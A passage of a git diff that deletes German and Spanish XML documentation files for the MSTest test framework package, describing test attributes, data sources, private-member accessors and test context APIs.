Timeout ab. - - - - - Das TestResult-Objekt, das an den Adapter zurückgegeben werden soll. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Ruft den Anzeigenamen des Ergebnisses ab oder legt ihn fest. Hilfreich, wenn mehrere Ergebnisse zurückgegeben werden. - Wenn NULL, wird der Methodenname als DisplayName verwendet. - - - - - Ruft das Ergebnis der Testausführung ab oder legt es fest. - - - - - Ruft die Ausnahme ab, die bei einem Testfehler ausgelöst wird, oder legt sie fest. - - - - - Ruft die Ausgabe der Meldung ab, die vom Testcode protokolliert wird, oder legt sie fest. - - - - - Ruft die Ausgabe der Meldung ab, die vom Testcode protokolliert wird, oder legt sie fest. - - - - - Ruft die Debugablaufverfolgungen nach Testcode fest oder legt sie fest. - - - - - Gets or sets the debug traces by test code. - - - - - Ruft die Dauer der Testausführung ab oder legt sie fest. - - - - - Ruft den Datenzeilenindex in der Datenquelle ab, oder legt ihn fest. Nur festgelegt für Ergebnisse einer individuellen - Ausführung einer Datenzeile eines datengesteuerten Tests. - - - - - Ruft den Rückgabewert der Testmethode ab (zurzeit immer NULL). - - - - - Ruft die vom Test angehängten Ergebnisdateien ab, oder legt sie fest. - - - - - Gibt die Verbindungszeichenfolge, den Tabellennamen und die Zeilenzugriffsmethode für datengesteuerte Tests an. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Der Standardanbietername für DataSource. - - - - - Die standardmäßige Datenzugriffsmethode. - - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einem Datenanbieter, einer Verbindungszeichenfolge, einer Datentabelle und einer Datenzugriffsmethode für den Zugriff auf die Daten initialisiert. - - Invarianter Datenanbietername, z. B. "System.Data.SqlClient" - - Die für den Datenanbieter spezifische Verbindungszeichenfolge. - WARNUNG: Die Verbindungszeichenfolge kann sensible Daten (z. B. ein Kennwort) enthalten. - Die Verbindungszeichenfolge wird als Nur-Text im Quellcode und in der kompilierten Assembly gespeichert. - Schränken Sie den Zugriff auf den Quellcode und die Assembly ein, um diese vertraulichen Informationen zu schützen. - - Der Name der Datentabelle. - Gibt die Reihenfolge für den Datenzugriff an. - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einer Verbindungszeichenfolge und einem Tabellennamen initialisiert. - Geben Sie eine Verbindungszeichenfolge und Datentabelle an, um auf die OLEDB-Datenquelle zuzugreifen. - - - Die für den Datenanbieter spezifische Verbindungszeichenfolge. - WARNUNG: Die Verbindungszeichenfolge kann sensible Daten (z. B. ein Kennwort) enthalten. - Die Verbindungszeichenfolge wird als Nur-Text im Quellcode und in der kompilierten Assembly gespeichert. - Schränken Sie den Zugriff auf den Quellcode und die Assembly ein, um diese vertraulichen Informationen zu schützen. - - Der Name der Datentabelle. - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einem Datenanbieter und einer Verbindungszeichenfolge mit dem Namen der Einstellung initialisiert. - - Der Name einer Datenquelle, die im Abschnitt <microsoft.visualstudio.qualitytools> in der Datei "app.config" gefunden wurde. - - - - Ruft einen Wert ab, der den Datenanbieter der Datenquelle darstellt. - - - Der Name des Datenanbieters. Wenn kein Datenanbieter während der Objektinitialisierung festgelegt wurde, wird der Standardanbieter "System.Data.OleDb" zurückgegeben. - - - - - Ruft einen Wert ab, der die Verbindungszeichenfolge für die Datenquelle darstellt. - - - - - Ruft einen Wert ab, der den Tabellennamen angibt, der Daten bereitstellt. - - - - - Ruft die Methode ab, die für den Zugriff auf die Datenquelle verwendet wird. - - - - Einer der-Werte. Wenn das nicht initialisiert wurde, wird der Standardwert zurückgegeben. . - - - - - Ruft den Namen einer Datenquelle ab, die im Abschnitt <microsoft.visualstudio.qualitytools> in der Datei "app.config" gefunden wurde. - - - - - Ein Attribut für datengesteuerte Tests, in denen Daten inline angegeben werden können. - - - - - Ermittelt alle Datenzeilen und beginnt mit der Ausführung. - - - Die test-Methode. - - - Ein Array aus . - - - - - Führt die datengesteuerte Testmethode aus. - - Die auszuführende Testmethode. - Die Datenzeile. - Ergebnisse der Ausführung. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 17b74f56..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Se usa para especificar el elemento (archivo o directorio) para la implementación por prueba. - Puede especificarse en la clase de prueba o en el método de prueba. - Puede tener varias instancias del atributo para especificar más de un elemento. - La ruta de acceso del elemento puede ser absoluta o relativa. Si es relativa, lo es respecto a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Inicializa una nueva instancia de la clase . - - Archivo o directorio para implementar. La ruta de acceso es relativa al directorio de salida de compilación. El elemento se copiará en el mismo directorio que los ensamblados de prueba implementados. - - - - Inicializa una nueva instancia de la clase . - - Ruta de acceso relativa o absoluta al archivo o directorio para implementar. La ruta de acceso es relativa al directorio de salida de compilación. El elemento se copiará en el mismo directorio que los ensamblados de prueba implementados. - Ruta de acceso del directorio en el que se van a copiar los elementos. Puede ser absoluta o relativa respecto al directorio de implementación. Todos los archivos y directorios que identifica se copiarán en este directorio. - - - - Obtiene la ruta de acceso al archivo o carpeta de origen que se debe copiar. - - - - - Obtiene la ruta de acceso al directorio donde se copia el elemento. - - - - - Contiene literales para los nombres de secciones, propiedades y atributos. - - - - - Nombre de la sección de configuración. - - - - - Nombre de la sección de configuración para Beta2. Se deja por motivos de compatibilidad. - - - - - Nombre de sección para el origen de datos. - - - - - Nombre de atributo para "Name". - - - - - Nombre de atributo para "ConnectionString". - - - - - Nombre de atributo para "DataAccessMethod". - - - - - Nombre de atributo para "DataTable". - - - - - Elemento de origen de datos. - - - - - Obtiene o establece el nombre de esta configuración. - - - - - Obtiene o establece el elemento ConnectionStringSettings en la sección <connectionStrings> del archivo .config. - - - - - Obtiene o establece el nombre de la tabla de datos. - - - - - Obtiene o establece el tipo de acceso de datos. - - - - - Obtiene el nombre de la clave. - - - - - Obtiene las propiedades de configuración. - - - - - Colección de elementos del origen de datos. - - - - - Inicializa una nueva instancia de la clase . - - - - - Devuelve el elemento de configuración con la clave especificada. - - Clave del elemento que se va a devolver. - Objeto System.Configuration.ConfigurationElement con la clave especificada. De lo contrario, NULL. - - - - Obtiene el elemento de configuración en la ubicación del índice especificada. - - Ubicación del índice del objeto System.Configuration.ConfigurationElement que se va a devolver. - - - - Agrega un elemento de configuración a la colección de elementos de configuración. - - Objeto System.Configuration.ConfigurationElement que se va a agregar. - - - - Quita un elemento System.Configuration.ConfigurationElement de la colección. - - El . - - - - Quita un elemento System.Configuration.ConfigurationElement de la colección. - - Clave del objeto System.Configuration.ConfigurationElement que se va a quitar. - - - - Quita todos los objetos de elemento de configuración de la colección. - - - - - Crea un nuevo elemento . - - Un nuevo objeto . - - - - Obtiene la clave de un elemento de configuración especificado. - - Objeto System.Configuration.ConfigurationElement para el que se va a devolver la clave. - Elemento System.Object que actúa como clave del objeto System.Configuration.ConfigurationElement especificado. - - - - Agrega un elemento de configuración a la colección de elementos de configuración. - - Objeto System.Configuration.ConfigurationElement que se va a agregar. - - - - Agrega un elemento de configuración a la colección de elementos de configuración. - - Ubicación del índice en la que se va a agregar el objeto System.Configuration.ConfigurationElement especificado. - Objeto System.Configuration.ConfigurationElement que se va a agregar. - - - - Compatibilidad con las opciones de configuración para pruebas. - - - - - Obtiene la sección de configuración para pruebas. - - - - - Sección de configuración para pruebas. - - - - - Obtiene los orígenes de datos para esta sección de configuración. - - - - - Obtiene la colección de propiedades. - - - de propiedades para el elemento. - - - - - Esta clase representa el objeto INTERNO NO público activo en el sistema. - - - - - Inicializa una nueva instancia de la clase que contiene - el objeto que ya existe de la clase privada. - - objeto que sirve como punto de partida para llegar a los miembros privados - Cadena de desreferencia que usa . para apuntar al objeto que se va a recuperar, como en m_X.m_Y.m_Z - - - - Inicializa una nueva instancia de la clase que contiene el - tipo especificado. - - Nombre del ensamblado - nombre completo - Argumentos para pasar al constructor - - - - Inicializa una nueva instancia de la clase que contiene el - tipo especificado. - - Nombre del ensamblado - nombre completo - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el constructor que se va a obtener - Argumentos para pasar al constructor - - - - Inicializa una nueva instancia de la clase que contiene el - tipo especificado. - - tipo del objeto que se va a crear - Argumentos para pasar al constructor - - - - Inicializa una nueva instancia de la clase que contiene el - tipo especificado. - - tipo del objeto que se va a crear - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el constructor que se va a obtener - Argumentos para pasar al constructor - - - - Inicializa una nueva instancia de la clase que contiene el - objeto dado. - - objeto para encapsular - - - - Inicializa una nueva instancia de la clase que contiene el - objeto dado. - - objeto para encapsular - Objeto PrivateType - - - - Obtiene o establece el destino. - - - - - Obtiene el tipo del objeto subyacente. - - - - - Devuelve el código hash del objeto de destino. - - valor int que representa el código hash del objeto de destino - - - - Es igual a - - Objeto con el que se va a comparar - devuelve "true" si los objetos son iguales. - - - - Invoca el método especificado. - - Nombre del método - Argumentos para pasar al miembro que se va a invocar. - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a obtener. - Argumentos para pasar al miembro que se va a invocar. - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a obtener. - Argumentos para pasar al miembro que se va a invocar. - Matriz de tipos correspondientes a los tipos de los argumentos genéricos. - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Argumentos para pasar al miembro que se va a invocar. - Información de referencia cultural - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a obtener. - Argumentos para pasar al miembro que se va a invocar. - Información de referencia cultural - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Argumentos para pasar al miembro que se va a invocar. - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a obtener. - Argumentos para pasar al miembro que se va a invocar. - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Argumentos para pasar al miembro que se va a invocar. - Información de referencia cultural - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a obtener. - Argumentos para pasar al miembro que se va a invocar. - Información de referencia cultural - Resultado de la llamada al método - - - - Invoca el método especificado. - - Nombre del método - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a obtener. - Argumentos para pasar al miembro que se va a invocar. - Información de referencia cultural - Matriz de tipos correspondientes a los tipos de los argumentos genéricos. - Resultado de la llamada al método - - - - Obtiene el elemento de matriz con una matriz de subíndices para cada dimensión. - - Nombre del miembro - los índices de la matriz - Una matriz de elementos. - - - - Establece el elemento de matriz con una matriz de subíndices para cada dimensión. - - Nombre del miembro - Valor para establecer - los índices de la matriz - - - - Obtiene el elemento de matriz con una matriz de subíndices para cada dimensión. - - Nombre del miembro - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - los índices de la matriz - Una matriz de elementos. - - - - Establece el elemento de matriz con una matriz de subíndices para cada dimensión. - - Nombre del miembro - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Valor para establecer - los índices de la matriz - - - - Obtiene el campo. - - Nombre del campo - El campo. - - - - Establece el campo. - - Nombre del campo - valor para establecer - - - - Obtiene el campo. - - Nombre del campo - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - El campo. - - - - Establece el campo. - - Nombre del campo - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - valor para establecer - - - - Obtiene el campo o la propiedad. - - Nombre del campo o propiedad - El campo o la propiedad. - - - - Establece el campo o la propiedad. - - Nombre del campo o propiedad - valor para establecer - - - - Obtiene el campo o la propiedad. - - Nombre del campo o propiedad - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - El campo o la propiedad. - - - - Establece el campo o la propiedad. - - Nombre del campo o propiedad - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - valor para establecer - - - - Obtiene la propiedad. - - Nombre de la propiedad - Argumentos para pasar al miembro que se va a invocar. - La propiedad. - - - - Obtiene la propiedad. - - Nombre de la propiedad - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - Argumentos para pasar al miembro que se va a invocar. - La propiedad. - - - - Establece la propiedad. - - Nombre de la propiedad - valor para establecer - Argumentos para pasar al miembro que se va a invocar. - - - - Establece la propiedad. - - Nombre de la propiedad - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - valor para establecer - Argumentos para pasar al miembro que se va a invocar. - - - - Obtiene la propiedad. - - Nombre de la propiedad - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Argumentos para pasar al miembro que se va a invocar. - La propiedad. - - - - Obtiene la propiedad. - - Nombre de la propiedad - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - Argumentos para pasar al miembro que se va a invocar. - La propiedad. - - - - Establece la propiedad. - - Nombre de la propiedad - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - valor para establecer - Argumentos para pasar al miembro que se va a invocar. - - - - Establece la propiedad. - - Nombre de la propiedad - Máscara de bits que consta de uno o más objetos que especifican cómo se realiza la búsqueda. - valor para establecer - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - Argumentos para pasar al miembro que se va a invocar. - - - - Valida la cadena de acceso. - - cadena de acceso - - - - Invoca el miembro. - - Nombre del miembro - Atributos adicionales - Argumentos para la invocación - Referencia cultural - Resultado de la invocación - - - - Extrae la signatura de método genérico más adecuada del tipo privado actual. - - Nombre del método donde se va a buscar la memoria caché de signatura. - Matriz de tipos correspondientes a los tipos de los parámetros donde buscar. - Matriz de tipos correspondientes a los tipos de los argumentos genéricos. - para filtrar aún más las signaturas de método. - Modificadores para parámetros. - Una instancia de methodinfo. - - - - Esta clase representa una clase privada para la funcionalidad de descriptor de acceso privado. - - - - - Se enlaza a todo. - - - - - Tipo que contiene la clase. - - - - - Inicializa una nueva instancia de la clase que contiene el tipo privado. - - Nombre del ensamblado - nombre completo de - - - - Inicializa una nueva instancia de la clase que contiene - el tipo privado del objeto de tipo. - - Tipo encapsulado que se va a crear. - - - - Obtiene el tipo al que se hace referencia. - - - - - Invoca el miembro estático. - - Nombre del miembro para InvokeHelper - Argumentos para la invocación - Resultado de la invocación - - - - Invoca el miembro estático. - - Nombre del miembro para InvokeHelper - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a invocar - Argumentos para la invocación - Resultado de la invocación - - - - Invoca el miembro estático. - - Nombre del miembro para InvokeHelper - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a invocar - Argumentos para la invocación - Matriz de tipos correspondientes a los tipos de los argumentos genéricos. - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Argumentos para la invocación - Referencia cultural - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a invocar - Argumentos para la invocación - Información de referencia cultural - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Atributos de invocación adicionales - Argumentos para la invocación - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Atributos de invocación adicionales - Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a invocar - Argumentos para la invocación - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Atributos de invocación adicionales - Argumentos para la invocación - Referencia cultural - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Atributos de invocación adicionales - /// Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a invocar - Argumentos para la invocación - Referencia cultural - Resultado de la invocación - - - - Invoca el método estático. - - Nombre del miembro - Atributos de invocación adicionales - /// Una matriz de objetos que representan el número, orden y tipo de los parámetros para el método que se va a invocar - Argumentos para la invocación - Referencia cultural - Matriz de tipos correspondientes a los tipos de los argumentos genéricos. - Resultado de la invocación - - - - Obtiene el elemento de la matriz estática. - - Nombre de la matriz - - Matriz unidimensional de enteros de 32 bits que representan los índices que especifican - la posición del elemento que se va a obtener. Por ejemplo, para acceder a a[10][11], los índices serían {10,11} - - elemento en la ubicación especificada - - - - Establece el miembro de la matriz estática. - - Nombre de la matriz - valor para establecer - - Matriz unidimensional de enteros de 32 bits que representan los índices que especifican - la posición del elemento que se va a establecer. Por ejemplo, para acceder a a[10][11], la matriz sería {10,11} - - - - - Obtiene el elemento de la matriz estática. - - Nombre de la matriz - Atributos InvokeHelper adicionales - - Matriz unidimensional de enteros de 32 bits que representan los índices que especifican - la posición del elemento que se va a obtener. Por ejemplo, para acceder a a[10][11], la matriz sería {10,11} - - elemento en la ubicación especificada - - - - Establece el miembro de la matriz estática. - - Nombre de la matriz - Atributos InvokeHelper adicionales - valor para establecer - - Matriz unidimensional de enteros de 32 bits que representan los índices que especifican - la posición del elemento que se va a establecer. Por ejemplo, para acceder a a[10][11], la matriz sería {10,11} - - - - - Obtiene el campo estático. - - Nombre del campo - El campo estático. - - - - Establece el campo estático. - - Nombre del campo - Argumento para la invocación - - - - Obtiene el campo estático con los atributos InvokeHelper especificados. - - Nombre del campo - Atributos de invocación adicionales - El campo estático. - - - - Establece el campo estático con atributos de enlace. - - Nombre del campo - Atributos InvokeHelper adicionales - Argumento para la invocación - - - - Obtiene la propiedad o el campo estático. - - Nombre del campo o propiedad - El campo o la propiedad estáticos. - - - - Establece la propiedad o el campo estático. - - Nombre del campo o propiedad - Valor que se va a establecer en el campo o la propiedad - - - - Obtiene la propiedad o el campo estático con los atributos InvokeHelper especificados. - - Nombre del campo o propiedad - Atributos de invocación adicionales - El campo o la propiedad estáticos. - - - - Establece la propiedad o el campo estático con atributos de enlace. - - Nombre del campo o propiedad - Atributos de invocación adicionales - Valor que se va a establecer en el campo o la propiedad - - - - Obtiene la propiedad estática. - - Nombre del campo o propiedad - Argumentos para la invocación - La propiedad estática. - - - - Establece la propiedad estática. - - Nombre de la propiedad - Valor que se va a establecer en el campo o la propiedad - Argumentos para pasar al miembro que se va a invocar. - - - - Establece la propiedad estática. - - Nombre de la propiedad - Valor que se va a establecer en el campo o la propiedad - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - Argumentos para pasar al miembro que se va a invocar. - - - - Obtiene la propiedad estática. - - Nombre de la propiedad - Atributos de invocación adicionales. - Argumentos para pasar al miembro que se va a invocar. - La propiedad estática. - - - - Obtiene la propiedad estática. - - Nombre de la propiedad - Atributos de invocación adicionales. - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - Argumentos para pasar al miembro que se va a invocar. - La propiedad estática. - - - - Establece la propiedad estática. - - Nombre de la propiedad - Atributos de invocación adicionales. - Valor que se va a establecer en el campo o la propiedad - Valores de índice opcionales para las propiedades indizadas. Los índices de las propiedades indizadas son de base cero. Este valor debe ser NULL para las propiedades no indizadas. - - - - Establece la propiedad estática. - - Nombre de la propiedad - Atributos de invocación adicionales. - Valor que se va a establecer en el campo o la propiedad - Una matriz de objetos que representan el número, orden y tipo de los parámetros para la propiedad indizada. - Argumentos para pasar al miembro que se va a invocar. - - - - Invoca el método estático. - - Nombre del miembro - Atributos de invocación adicionales - Argumentos para la invocación - Referencia cultural - Resultado de la invocación - - - - Proporciona detección de la signatura de los métodos genéricos. - - - - - Compara las firmas de estos dos métodos. - - Method1 - Method2 - "True" si son similares. - - - - Obtiene la profundidad de jerarquía desde el tipo base del tipo proporcionado. - - El tipo. - La profundidad. - - - - Busca el tipo más derivado con la información proporcionada. - - Coincidencias de candidato. - Número de coincidencias. - El método más derivado. - - - - Dado un conjunto de métodos que coinciden con los criterios base, seleccione un método basado - en una matriz de tipos. Este método debe devolver NULL si no hay ningún método que coincida - con los criterios. - - Especificación de enlace. - Coincidencias de candidato - Tipos - Modificadores de parámetro. - Método coincidente. "Null" si no coincide ninguno. - - - - Busca el método más específico entre los dos métodos proporcionados. - - Método 1 - Orden de parámetros del método 1 - Tipo de matriz de parámetro. - Método 2 - Orden de parámetros del método 2 - >Tipo de matriz de parámetro. - Tipos en los que buscar. - Args. - Un tipo int que representa la coincidencia. - - - - Busca el método más específico entre los dos métodos proporcionados. - - Método 1 - Orden de parámetros del método 1 - Tipo de matriz de parámetro. - Método 2 - Orden de parámetros del método 2 - >Tipo de matriz de parámetro. - Tipos en los que buscar. - Args. - Un tipo int que representa la coincidencia. - - - - Busca el tipo más específico de los dos proporcionados. - - Tipo 1 - Tipo 2 - El tipo de definición - Un tipo int que representa la coincidencia. - - - - Se usa para almacenar información proporcionada a las pruebas unitarias. - - - - - Obtiene las propiedades de una prueba. - - - - - Obtiene la fila de datos actual cuando la prueba se usa para realizar pruebas controladas por datos. - - - - - Obtiene la fila de conexión de datos actual cuando la prueba se usa para realizar pruebas controladas por datos. - - - - - Obtiene el directorio base para la serie de pruebas, en el que se almacenan los archivos implementados y los archivos de resultados. - - - - - Obtiene el directorio de los archivos implementados para la serie de pruebas. Suele ser un subdirectorio de . - - - - - Obtiene el directorio base para los resultados de la serie de pruebas. Suele ser un subdirectorio de . - - - - - Obtiene el directorio de los archivos de resultados de la serie de pruebas. Suele ser un subdirectorio de . - - - - - Obtiene el directorio de los archivos de resultados de la prueba. - - - - - Obtiene el directorio base para la serie de pruebas donde se almacenan los archivos implementados y los archivos de resultados. - Funciona igual que . Utilice esa propiedad en su lugar. - - - - - Obtiene el directorio de los archivos implementados para la serie de pruebas. Suele ser un subdirectorio de . - Funciona igual que . Utilice esa propiedad en su lugar. - - - - - Obtiene el directorio de los archivos de resultados de la serie de pruebas. Suele ser un subdirectorio de . - Funciona igual que . Utilice esa propiedad para los archivos de resultados de la serie de pruebas o - para los archivos de resultados específicos de cada prueba. - - - - - Obtiene el nombre completo de la clase que contiene el método de prueba que se está ejecutando. - - - - - Obtiene el nombre del método de prueba que se está ejecutando. - - - - - Obtiene el resultado de la prueba actual. - - - - - Se usa para escribir mensajes de seguimiento durante la ejecución de la prueba. - - cadena de mensaje con formato - - - - Se usa para escribir mensajes de seguimiento durante la ejecución de la prueba. - - cadena de formato - los argumentos - - - - Agrega un nombre de archivo a la lista en TestResult.ResultFileNames. - - - Nombre del archivo. - - - - - Inicia un temporizador con el nombre especificado. - - Nombre del temporizador. - - - - Finaliza un temporizador con el nombre especificado. - - Nombre del temporizador. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 5b05af93..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4199 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Atributo TestMethod para la ejecución. - - - - - Obtiene el nombre del método de prueba. - - - - - Obtiene el nombre de la clase de prueba. - - - - - Obtiene el tipo de valor devuelto del método de prueba. - - - - - Obtiene los parámetros del método de prueba. - - - - - Obtiene el valor de methodInfo para el método de prueba. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invoca el método de prueba. - - - Argumentos que se pasan al método de prueba (por ejemplo, controlada por datos) - - - Resultado de la invocación del método de prueba. - - - This call handles asynchronous test methods as well. - - - - - Obtiene todos los atributos del método de prueba. - - - Indica si el atributo definido en la clase primaria es válido. - - - Todos los atributos. - - - - - Obtiene un atributo de un tipo específico. - - System.Attribute type. - - Indica si el atributo definido en la clase primaria es válido. - - - Atributos del tipo especificado. - - - - - Elemento auxiliar. - - - - - Parámetro de comprobación no NULL. - - - El parámetro. - - - El nombre del parámetro. - - - El mensaje. - - Throws argument null exception when parameter is null. - - - - Parámetro de comprobación no NULL o vacío. - - - El parámetro. - - - El nombre del parámetro. - - - El mensaje. - - Throws ArgumentException when parameter is null. - - - - Enumeración de cómo se accede a las filas de datos en las pruebas controladas por datos. - - - - - Las filas se devuelven en orden secuencial. - - - - - Las filas se devuelven en orden aleatorio. - - - - - Atributo para definir los datos insertados de un método de prueba. - - - - - Inicializa una nueva instancia de la clase . - - Objeto de datos. - - - - Inicializa una nueva instancia de la clase , que toma una matriz de argumentos. - - Objeto de datos. - Más datos. - - - - Obtiene datos para llamar al método de prueba. - - - - - Obtiene o establece el nombre para mostrar en los resultados de pruebas para personalizarlo. - - - - - Excepción de aserción no concluyente. - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Inicializa una nueva instancia de la clase . - - - - - Clase InternalTestFailureException. Se usa para indicar un error interno de un caso de prueba. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializa una nueva instancia de la clase . - - Mensaje de la excepción. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - Mensaje de la excepción. - - - - Inicializa una nueva instancia de la clase . - - - - - Atributo que indica que debe esperarse una excepción del tipo especificado. - - - - - Inicializa una nueva instancia de la clase con el tipo esperado. - - Tipo de la excepción esperada - - - - Inicializa una nueva instancia de la clase - con el tipo esperado y el mensaje para incluir cuando la prueba no produce una excepción. - - Tipo de la excepción esperada - - Mensaje que se incluye en el resultado de la prueba si esta no se supera debido a que no se inicia una excepción - - - - - Obtiene un valor que indica el tipo de la excepción esperada. - - - - - Obtiene o establece un valor que indica si se permite que los tipos derivados del tipo de la excepción esperada - se consideren también como esperados. - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Comprueba que el tipo de la excepción producida por la prueba unitaria es el esperado. - - Excepción que inicia la prueba unitaria - - - - Clase base para atributos que especifican que se espere una excepción de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase con un mensaje de ausencia de excepción predeterminado. - - - - - Inicializa una nueva instancia de la clase con un mensaje de ausencia de excepción. - - - Mensaje para incluir en el resultado de la prueba si esta no se supera debido a que no se inicia una - excepción - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Obtiene el mensaje de ausencia de excepción predeterminado. - - Nombre del tipo de atributo ExpectedException - Mensaje de ausencia de excepción predeterminado - - - - Determina si se espera la excepción. Si el método devuelve un valor, se entiende - que se esperaba la excepción. Si el método produce una excepción, - se entiende que no se esperaba la excepción y se incluye el mensaje - de la misma en el resultado de la prueba. Se puede usar para mayor - comodidad. Si se utiliza y la aserción no funciona, - el resultado de la prueba se establece como No concluyente. - - Excepción que inicia la prueba unitaria - - - - Produce de nuevo la excepción si es de tipo AssertFailedException o AssertInconclusiveException. - - La excepción que se va a reiniciar si es una excepción de aserción - - - - Esta clase está diseñada para ayudar al usuario a realizar pruebas unitarias para tipos con tipos genéricos. - GenericParameterHelper satisface algunas de las restricciones de tipo genérico comunes, - como: - 1. Constructor predeterminado público. - 2. Implementa una interfaz común: IComparable, IEnumerable. - - - - - Inicializa una nueva instancia de la clase que - satisface la restricción "renovable" en genéricos de C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializa una nueva instancia de la clase que - inicializa la propiedad Data con un valor proporcionado por el usuario. - - Cualquier valor entero - - - - Obtiene o establece los datos. - - - - - Compara el valor de dos objetos GenericParameterHelper. - - objeto con el que hacer la comparación - Es true si el objeto tiene el mismo valor que el objeto GenericParameterHelper "this". - De lo contrario, false. - - - - Devuelve un código hash para este objeto. - - El código hash. - - - - Compara los datos de los dos objetos . - - Objeto con el que se va a comparar. - - Número con signo que indica los valores relativos de esta instancia y valor. - - - Thrown when the object passed in is not an instance of . - - - - - Devuelve un objeto IEnumerator cuya longitud se deriva de - la propiedad Data. - - El objeto IEnumerator - - - - Devuelve un objeto GenericParameterHelper que es igual al - objeto actual. - - El objeto clonado. - - - - Permite a los usuarios registrar o escribir el seguimiento de las pruebas unitarias con fines de diagnóstico. - - - - - Controlador para LogMessage. - - Mensaje para registrar. - - - - Evento que se debe escuchar. Se genera cuando el autor de las pruebas unitarias escribe 